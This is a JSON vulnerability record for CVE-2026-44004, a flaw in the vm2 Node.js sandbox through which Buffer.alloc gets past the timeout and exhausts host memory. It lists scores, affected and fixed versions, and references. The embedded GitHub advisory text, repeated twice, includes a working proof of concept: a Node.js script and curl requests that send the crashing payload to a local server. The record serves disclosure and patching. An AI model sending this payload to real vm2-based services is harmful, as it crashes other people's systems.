{"id":"CVE-2026-44004","aliases":["CLSA-2026-1787860907","EUVD-2026-30074","GHSA-2cm2-m3w5-gp2f","GHSA-6785-pvv7-mvg7","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-44004"],"status":"published","title":"vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00419,"percentile":0.36626,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1285","CWE-770"],"published":"2026-05-07T04:26:39Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.4","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.1","3.10.5-root.io.2","3.10.5-root.io.3","3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.4","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.5"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.4"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.1"},{"fixed":"3.10.5-root.io.2"},{"fixed":"3.10.5-root.io.3"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.4"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44004","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477195","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44004.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6785-pvv7-mvg7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44004.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44004","title":"vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:16.281Z","modified":"2026-09-07T12:04:56.598Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-770","CWE-1285"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-30074","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:16Z","modified":"2026-09-07T12:04:56Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-6785-pvv7-mvg7","title":"vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion","description":"### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 — timeout had no effect\n\n// Control test — JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload — process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test — JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.","status":"published","published":"2026-05-07T04:26:39Z","modified":"2026-05-14T20:36:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-44004","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T18:16:17.123Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770","CWE-1285"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-44004","title":"vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:16.281Z","modified":"2026-10-28T02:30:54.366207134Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-6785-pvv7-mvg7","title":"vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion","description":"### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 — timeout had no effect\n\n// Control test — JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload — process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test — JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.","status":"published","published":"2026-05-07T04:26:39Z","modified":"2026-05-14T20:48:47.342712Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"ROOT-APP-NPM-CVE-2026-44004","title":"CVE-2026-44004 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44004 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:25.992473879Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}